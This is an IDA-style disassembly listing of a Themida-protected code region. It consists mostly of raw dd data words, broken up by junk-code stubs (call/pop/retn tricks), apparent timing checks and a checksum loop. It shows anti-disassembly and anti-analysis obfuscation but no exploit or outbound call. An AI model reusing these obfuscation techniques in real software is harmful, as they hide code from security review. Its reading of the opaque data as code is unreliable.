		dd 858B5F06h, 6140B29h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0BFC35646h, 9D8BA924h, 6140E29h, 0B1858B60h
		dd 0F061429h, 18Ch, 8961FC00h, 57006A06h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 2CB8CBC4h
		dd 44FE144Dh, 9D8B33C2h, 6140EE1h, 1969858Bh, 8D890614h
		dd 6142E69h, 6A044689h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0E792C355h,	23FE2D4Dh
		dd 0D9259B15h, 0ABF78166h, 525050ECh, 0C7DBBB66h, 5BBB310Fh
		dd 5A57AF29h, 24348958h, 25BDBD8Bh, 0B5FF0614h,	617AA90h
		dd 0A498D89h, 0F4680614h, 81382836h, 350B2434h,	1FBF3837h
		dd 8D0729EDh, 17AA9885h, 12E95006h, 0AF000000h,	7F720B54h
		dd 9871C5F5h, 151B896h,	9D519C99h, 24048925h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 61C35343h, 7E9ACh
		dd 0B8DA0000h, 7D7EBD85h, 1AEB80F0h, 52D38166h,	0AD95FFECh
		dd 6A061409h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 83BC350h, 1DF81138h, 9509A135h
		dd 6141521h, 24D1BD8Bh,	66610614h, 0C78343BBh, 14267185h
		dd 306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 159A5EA4h, 866F578Ch, 0AA98BD83h
		dd 0F000617h, 4984h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 9D89110Bh, 6140791h, 3CE9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 4E39761Ch, 30501193h, 4400110Ch,	0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0AF091AC3h
		dd 49636BD0h, 9D31027Fh, 6142675h, 0FDB50150h, 5F06140Ah
		dd 2671BD83h, 0F030614h, 4B585h, 838FB700h, 17AA98BDh
		dd 840F0006h, 4A6h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 6FC35646h, 85BD8B0Ah,	0FF061430h, 17AA98B5h
		dd 28C0F06h, 8B000000h,	0F595FFDFh, 6A06142Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 9566C352h, 391AD311h, 799D8B1Ah, 8B061406h, 17AA8CB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0FEFF3E57h, 9E8EB1Dh, 0AB000000h, 1D31A8ECh
		dd 2DBE5474h, 12E9h, 0D9A59100h, 0CA01B051h, 98EF721Bh
		dd 0AC0999B4h, 5B9CB39Fh, 106C7h, 6A0001h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 996795C3h
		dd 0EE95650h, 14000000h, 0A0FE583Ah, 91040CDEh,	0FF107D5Eh
		dd 505F5F90h, 34896160h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 426C8F29h, 24459501h
		dd 0B5FF0614h, 617AA98h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 0A6C35141h, 18521FDCh, 0B3195FFh, 0FA8B0614h
		dd 0AA8CB58Bh, 9D8B0617h, 6140A2Dh, 21D5858Bh, 3600614h
		dd 1424BDB5h, 61D88B06h, 0C48689h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 8277EEC3h
		dd 0E9924BCDh, 0Bh, 0C0802570h,	10C602BCh, 8B84EFAEh, 14322995h
		dd 0A58D8906h, 83061425h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0CFCE9CC3h, 41B74BD0h
		dd 9D8BCCA8h, 614234Dh,	226D8D09h, 50890614h, 858DF520h
		dd 617BE06h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8CC35747h
		dd 1EBB66DDh, 0B8868950h, 29000000h, 1405F195h,	89006A06h
		dd 141A5D8Dh, 0BE666006h, 0C681D5D0h, 0B2915E7h, 98B5FF61h
		dd 6A0617AAh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0B83C357h, 141995BDh, 3995FF06h
		dd 6A061409h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 2910C355h, 0A9B4686Ah,	0CF805777h
		dd 34895089h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0FBCF7F2Ch, 0E6E65F68h, 0FE9CFh
		dd 58C60000h, 171D12BAh, 0A28C0A0Eh, 53A13DB8h,	89BD3195h
		dd 0FF061425h, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 325F5423h
		dd 15A830C4h, 0A9BBB4D2h, 666AC923h, 9B71F781h,	20F595FFh
		dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0D439CCC3h, 7DE6B4FFh, 6DE490BFh,	83D98B74h
		dd 140C21BDh, 840F0006h, 50h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0A2C35343h,	89FA8B66h, 1431958Dh
		dd 52509606h, 310FDC8Ah, 6870Fh, 52500000h, 585A310Fh
		dd 0E950585Ah, 9, 0B4854999h, 6A873CF4h, 0BD899606h, 61425BDh
		dd 0AA98B5FFh, 6A0617h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0FC79DDC3h, 223DEBECh, 20B96660h
		dd 59B58BA3h, 6106140Fh, 2B195FFh, 0BB660614h, 0B5FF9385h
		dd 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	10C35141h, 812647C7h, 0A862F4B2h, 8195FF57h, 6A061430h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0C23EC352h, 0A704AAF5h, 0F5BD83F6h, 2061409h
		dd 66840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 140424h, 56460000h, 0F98B58C3h, 1D698589h, 858B0614h
		dd 6142D01h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	36C35242h, 89C1EB80h, 1400899Dh, 0C606h, 0FE9h
		dd 0B2CD9300h, 0F4D0908h, 6E49C093h, 6F56BE2Fh,	244D85C7h
		dd 614h, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 160424h, 52420000h, 0C074CC3h, 1C758531h, 0A0E90614h
		dd 0E9FFFFF2h, 5, 0CA9805FCh, 57C18BDCh, 8ED9589h
byte_58F88C	db 14h,	6, 5Fh		; DATA XREF: Themida_:00548FB0o
byte_58F88F	db 8Dh			; DATA XREF: Themida_:005492C8o
					; Themida_:0054AD64o
		dd 140F9985h, 90FB8B06h, 52505250h, 0A4DEBF66h,	11E9310Fh
		dd 0C2000000h, 0A60E3BEBh, 0E100B598h, 55DF4FA1h, 0FECB52D8h
		dd 310F585Ah, 607ABB66h, 0E850585Ah, 10h, 611F01DFh, 0F8DE134h
		dd 3B7FF8D3h, 0A4797562h, 48F2BB66h, 6A905Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0C6D6F6C3h
		dd 14F12ACh, 140A2985h,	6A006A06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0EAF4C355h
		dd 89006A44h, 141159B5h, 0EA858D06h, 6006186Eh,	12E9h
		dd 3ABD2900h, 0DDEF7D57h, 5C1B1CDCh, 6CA522B0h,	5004D410h
		dd 615FDC8Ah, 35DBD03h,	0C0830614h, 0C5BD8B05h,	50061416h
		dd 6A240489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 7F16C356h, 0BF0F5489h,	6A006AFBh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 4660C356h, 8B6607D7h, 6A006AD9h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0BAFBC353h, 31B1F5D3h, 9E98E9C4h, 9D9D8B57h,	5B061419h
		dd 6880Fh, 0BD8B0000h, 6141C39h, 1A7195FFh, 6A0614h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0B70F79C3h, 0FC8D8DFFh, 660617A8h, 0D1FFDE8Bh, 2A41BD8Bh
		dd 0BD830614h, 61412CDh, 0A2850F01h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 494AC353h, 67AE5D0h,	70AB3802h, 0C19D8Bh, 0EF800614h
		dd 6A026A9Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 422C352h, 0BD8B225Fh, 6142601h
		dd 0EE990h, 56C20000h, 0B895075Bh, 0A205AEC6h, 5AB2F7F7h
		dd 0DE8B6650h, 55006A90h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0B9719414h, 789BD01h
		dd 95FF0614h, 6140939h,	3850Fh,	8B660000h, 0D93E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58FACE:				; DATA XREF: Themida_:0054B890o
		call	$+5
		pop	ebp
		sub	ebp, 6186EF4h
		push	0
		push	edx
		call	sub_58FAE5
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FAE5	proc near		; CODE XREF: Themida_:0058FADDp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_58FAE5	endp

; ---------------------------------------------------------------------------
		db 0EFh, 0D2h, 36h
		dd 5216F03Fh, 0B509A189h, 6142579h, 10E8h, 841C1700h, 6C31FD3h
		dd 0C40500F9h, 0BB8F4E7Dh, 85896083h, 6142CB1h,	823C1EBFh
		dd 8D5B6130h, 17962385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 1C94F107h, 0D40BA653h
		dd 2B67BB66h, 820F50h, 89000000h, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 7F057DC3h
		dd 304B7BEEh, 35FF6409h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_58FB93
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FB93	proc near		; CODE XREF: Themida_:0058FB8Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_58FB93	endp

; ---------------------------------------------------------------------------
		aam	77h
		sbb	[edx+139C53D2h], bh
		mov	[eax+218D9D8Bh], esp
		adc	al, 6
		mov	edi, [ebp+6140B3Dh]
		mov	large fs:0, esp
		push	0
		push	ecx
		call	sub_58FBCB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FBCB	proc near		; CODE XREF: Themida_:0058FBC3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_58FBCB	endp

; ---------------------------------------------------------------------------
		db 0E6h
; ---------------------------------------------------------------------------
		add	esi, ecx
		mov	eax, 0CFC593E2h
		popa
		and	edi, [ebp+6140F6Dh]
		mov	edi, [ebp+6142F29h]
		inc	dword ptr [ebp+614236Dh]
		push	0
		push	esi
		call	sub_58FC01
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FC01	proc near		; CODE XREF: Themida_:0058FBF9p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_58FC01	endp

; ---------------------------------------------------------------------------
		mov	ah, 78h
		jz	short loc_58FC16
		cmpsb


loc_58FC16:				; CODE XREF: Themida_:0058FC13j
		sbb	[ecx], ecx
		sub	al, 4Ch
		mov	ch, 66h
		mov	ebx, edx
		push	0FFFFFFFFh
		push	0
		push	esi
		call	sub_58FC2B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FC2B	proc near		; CODE XREF: Themida_:0058FC23p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_58FC2B	endp

; ---------------------------------------------------------------------------
		mov	ds:77C54B2Eh, dh
		mov	ds:91B5FF92h, eax
		db	2Eh
		adc	al, 6
		push	0
		push	edi
		call	sub_58FC54
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FC54	proc near		; CODE XREF: Themida_:0058FC4Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_58FC54	endp

; ---------------------------------------------------------------------------
		dd 66138B04h, 0FFFAE8BBh, 142B1995h, 15BE906h, 89560000h
		dd 14322D9Dh, 0B05B06h,	0F499D23h, 70E60614h, 5AE1EF81h
		dd 9589650Bh, 6140229h,	0BD2971E4h, 6141C89h, 830F613Ch
		dd 12Dh, 2A018589h, 0B60F0614h,	959D8BC8h, 0E906140Bh
		dd 0Dh,	0DA8D81Bh, 883B5D1Fh, 41B2DCCBh, 6BA1Dh, 840F0000h
		dd 6, 0AA1C781h, 810F48A1h, 6, 79C5CF81h, 0C18B1CA8h, 0E804E8C1h
		dd 10h,	0B561EE85h, 0ED4F1F2Fh,	77F89B82h, 58E5BEDCh, 4890Fh
		dd 0BF660000h, 665FB862h, 7E9E2F7h, 0B2000000h,	45BD8207h
		dd 0C82B1D87h, 2BCB8166h, 8BD18BF3h, 1424919Dh,	0FE906h
		dd 0AE90000h, 5B000000h, 8682862Ch, 5C8CAC88h, 0D5858B73h
		dd 83061408h, 0D38107C0h, 1EF20635h, 0E900C083h, 0Fh, 7795D43Fh
		dd 0B6F09F73h, 0D2C29D5Ch, 3B03294Bh, 2D830FD0h, 31000000h
		dd 140B1185h, 0BB666006h, 0CE9B7A7h, 96000000h,	1376664Dh
		dd 23A279CBh, 61F55E99h, 48E9h,	19D8900h, 0BB061421h, 6C884E68h
		dd 5318D8Bh, 0A0B30614h, 0F01E183h, 2C84h, 0A583FC00h
		dd 6140531h, 8E9FEh, 0B4B80000h, 134DC579h, 9589AAC8h
		dd 61408D5h, 23E1B589h,	9D8B0614h, 6142429h, 0E9h, 98B58D00h
		dd 6A0617E4h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0FAD2C356h, 67FB1CBCh,	0AE8h
		dd 0BA7BF00h, 80EA18C7h, 0FCADD61Fh, 8B006A5Fh,	142C71BDh
		dd 0F8BF0F06h, 116995FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0B2D189C3h, 2CB9F224h
		dd 6A000008h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0AED9C355h, 0FE8B6656h, 60FCE183h
		dd 3810Fh, 8B660000h, 9D0961D9h, 6142C21h, 56006AFCh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0AF94DAB6h, 0E9F275F5h, 0Fh,	3312889Ch, 88F68F53h, 0E2820ABCh
		dd 0B83D5F85h, 0
; ---------------------------------------------------------------------------
		sub	[ebp+6143069h],	edx
		mov	edx, 0
		add	bh, 49h


loc_58FEBE:				; CODE XREF: Themida_:0058FEC8j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_58FEBE
		push	0
		push	ecx
		call	sub_58FED5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FED5	proc near		; CODE XREF: Themida_:0058FECDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_58FED5	endp

; ---------------------------------------------------------------------------
		push	0F3A2395h
		add	dword ptr [edx], 51000000h
		pop	ebx
		jmp	loc_58FEFB
; ---------------------------------------------------------------------------
		dw 4A54h
		db 0A2h, 0D6h, 0CAh
; ---------------------------------------------------------------------------


loc_58FEFB:				; CODE XREF: Themida_:0058FEF1j
		or	eax, 88h
		xor	ebx, 4826A39Dh
		mov	edx, [ebp+6143229h]
		push	0
		push	eax
		call	sub_58FF17
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58FF17	proc near		; CODE XREF: Themida_:0058FF0Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_58FF17	endp

; ---------------------------------------------------------------------------
		db 73h
		dd 5CB6F09Fh, 4D8D8B9Dh, 6A061406h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 99B9C351h
		dd 0A5DE2B64h, 0E91F3710h, 5, 0D2F9981Ah, 0C28B50D0h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 1F20C350h
		dd 8D89F1B6h, 6140789h,	29ADBD83h, 0F000614h, 6C84h, 0C5B58900h
		dd 3061404h, 142C19BDh,	0B806h,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 82B6FEC3h
		dd 0D6DEEAD6h, 8B523D1Eh, 1408E9BDh, 8D8D5F06h,	6144D79h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 88C35141h
		dd 0A436C9B9h, 29E1FFE1h, 142675BDh, 71BD8306h,	61426h
		dd 386840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0C8811CC3h, 8B669AF8h, 71BD83DEh
		dd 1061426h, 371840Fh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0E042A1C3h, 0E1436F5Ah
		dd 11E9A042h, 34000000h, 0B450DB32h, 0A577B7D1h, 0E863BCAFh
		dd 0FD5ADEC6h, 2671BD83h, 0F030614h, 2F486h, 0C1858900h
		dd 60061400h, 9EE38166h, 0D3816609h, 8C66DB90h,	0CB8166D9h
		dd 8C0FAF6Fh, 8, 2D9D8952h, 5B061411h, 6A04E180h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 54C8C357h, 2431BD8Bh, 810F0614h, 3, 0A02DF80h, 0ED840FC9h
		dd 8B000000h, 1425CDBDh, 69858B06h, 6A061419h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 99D5C356h, 33DF8B66h, 141B8185h, 5026B706h, 0E91DB260h
		dd 0Ah,	0A765F78h, 0CEB40704h, 8961B157h, 0BD8B2404h, 6141D59h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 9D8B22C3h, 61403C5h, 21958951h, 5B06142Ch
		dd 4064E168h, 0D6BF66ACh, 2404814Ah, 53DE9F1Eh,	8A0FFCh
		dd 0FF000000h, 1409AD95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 6698BF70h
		dd 7255CF81h, 0AA988589h, 7BE90617h, 6A000001h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 13B0C350h, 0D25875Dh, 0FC8AF9DAh, 0AA90858Bh, 6A0617h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 7A5BCBC3h, 1800C7DCh, 66000000h, 276BDF81h, 0AA94B58Bh
		dd 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 79D19EC3h, 0B5894378h, 614036Dh, 0B29858Bh
		dd 0BF0F0614h, 890689DFh, 1400FDB5h, 69858B06h,	6A061419h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 7E48C350h, 664C6742h, 8953A7D7h, 96F90446h
		dd 0F26ABF66h, 0D0B35250h, 6A965Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 2190F6C3h
		dd 0FF050D5Eh, 17AA90B5h, 0ED958906h, 6806140Eh, 2A6E06D5h
		dd 34815B57h, 71052A24h, 0D5BD8B2Ah, 8D06142Bh,	17AA9885h
		dd 93D78106h, 9071D14Dh, 0F98B6650h, 50006A90h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FFBA84E5h
		dd 1409AD95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 4EB7E234h, 0E9C66141h, 12h, 0E67B9B63h
		dd 9C41238Ah, 0B32535B9h, 7C74E5A2h, 0FC613AEEh, 0EF65D9BBh
		dd 7185C745h, 3061426h,	89000000h, 140325BDh, 98BD8306h
		dd 617AAh, 2F840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0D98A53C3h, 27E9h, 7EC78100h
		dd 8927C856h, 1406E59Dh, 0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 77C35747h, 369E634Ah,	0E781F1D3h, 2DC358F1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 15C35242h
		dd 0D4162A5Ch, 9604BB32h, 142D8D89h, 0BD830614h, 6142671h
		dd 0F8850F03h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 10EC357h, 1425F5B5h
		dd 83C5B706h, 17AA98BDh, 840F0006h, 3C7h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Bh, 42C35747h, 0CB21276Ch
		dd 0F9D9627h, 2B84h, 0CE800h, 0A29E0000h, 55822F22h, 734AF6Dh
		dd 14E9BBE4h, 0EF000000h, 5885250Fh, 204E7B3h, 70CBFC3Eh
		dd 9F232810h, 5FBD0E60h, 0AA98B5FFh, 9D0B0617h,	6140C19h
		dd 11E8h, 0DC85E100h, 92CF424h,	771C18B9h, 930E5EF0h, 8B6694D1h
		dd 95FF5FFBh, 6142AF5h,	800195BFh, 8CB58B4Ch, 290617AAh
		dd 1429918Dh, 106C706h,	66000100h, 50D755BBh, 0E9525050h
		dd 11h,	72C27DF0h, 0FC6D90h, 0D0A1282Eh, 0BC7121CDh, 8A310F5Dh
		dd 5B585ADEh, 0F9243489h, 0AA98B5FFh, 6A0617h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FF2661C3h, 140B3195h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 4ABF12FCh
		dd 0AA8CB58Bh, 6A0617h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0E47CCAC3h, 95E868DEh, 858BB9B7h
		dd 61421D5h, 0F98B6651h, 0C486895Fh, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 3923C353h, 12E9F1h, 3D9B0000h, 90929612h, 2BB304Dh
		dd 0C05789Bh, 161AAE15h, 3229958Bh, 0E8F90614h,	10h, 0D8B31B91h
		dd 0E8EEDAD0h, 77C700ABh, 73B01335h, 5FFFB70Fh,	6A04C283h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 70FAC356h, 89E42269h, 858D2050h, 617BE06h
		dd 23498D89h, 86890614h, 0B8h, 31FBB70Fh, 1419F18Dh, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0C362C353h, 19719D8Bh, 0B5FF0614h, 617AA98h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 70C35343h
		dd 86F894FDh, 800FDCC6h, 2, 95FFDA8Bh, 6140939h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 10C35747h, 5E96049h
		dd 0C000000h, 423245E6h, 2A619D89h, 0B7610614h,	0D88B962Eh
		dd 963EB350h, 0DEAE0EBBh, 98B5FF52h, 660617AAh,	630E381h
		dd 20F595FFh, 83FC0614h, 140C21BDh, 840F0006h, 49h, 718D8B60h
		dd 8B06140Fh, 14091585h, 0E8966106h, 0Dh, 977ABC58h, 5B7821A2h
		dd 67D38CD1h, 0D05CBBB7h, 505B1A51h, 0CE860h
		dd 0DD40000h, 0B1DDE93h, 0CEB65265h, 0BB66B2C1h, 0B4582395h
		dd 899661C4h, 141C4D95h, 98B5FF06h, 8B0617AAh, 1405A5BDh
		dd 0B195FF06h, 1061402h, 14347D95h, 98B5FF06h, 890617AAh
		dd 1422318Dh, 8195FF06h, 89061430h, 140E6185h, 0F5BD8306h
		dd 2061409h, 7B840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 3519BAC3h, 9D73BF85h
		dd 858B752Ch, 6142D01h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0F4C35646h, 0CCD418C1h, 1D9D8BEFh, 0F061421h
		dd 58Dh, 9024BB00h, 0C64C2Ah, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 4D85C746h
		dd 61424h, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 69D6C350h, 0F7E7EC18h,	9D8BB222h
		dd 6142E99h, 0E9D88B66h, 0FFFFF3E6h, 30858589h,	0C18B0614h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 40C35747h
; ---------------------------------------------------------------------------


loc_59085C:				; DATA XREF: Themida_:0054A550o
		mov	ebx, 2F677CDAh
		lea	eax, [ebp+6140F99h]
		push	0
		push	esi
		call	sub_590872
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590872	proc near		; CODE XREF: Themida_:0059086Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_590872	endp

; ---------------------------------------------------------------------------
		dw 55A5h
		dd 81659836h, 9D8B3F77h, 61406A1h, 0C212BB90h, 8B50328Dh
		dd 0D88B90D9h, 6498501h, 6A0614h, 249B589h, 6A0614h, 225D8D89h
		dd 858D0614h, 6187E81h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0E1C35545h, 0EC0C2698h, 0E9FA4C1Bh, 14h
		dd 3E57D5F5h, 0EB1DFEFFh, 0B144830Ch, 4C2658D2h, 448DD497h
		dd 6A05C083h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 7BF8C352h, 2377456Dh, 8A8D6ADCh
		dd 24759D8Bh, 95890614h, 6142F5Dh, 0F525050h, 6C6CBB31h
		dd 585A4E36h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 514BC352h, 81006AD2h
		dd 0CDBF5DEFh, 6A006A01h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 210CC352h, 0B5316042h
		dd 6141D55h, 1A7195FFh,	6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 44A5CAC3h, 8D5526E3h
		dd 17A8FC8Dh, 0FF70B706h, 57006AD1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0BA646298h
		dd 7DA318C6h, 0C7816F43h, 1251418Bh, 12CDBD83h,	0F010614h
		dd 7385h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0AE4B8D3h, 75D5F781h, 0B5895436h
		dd 6140835h, 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
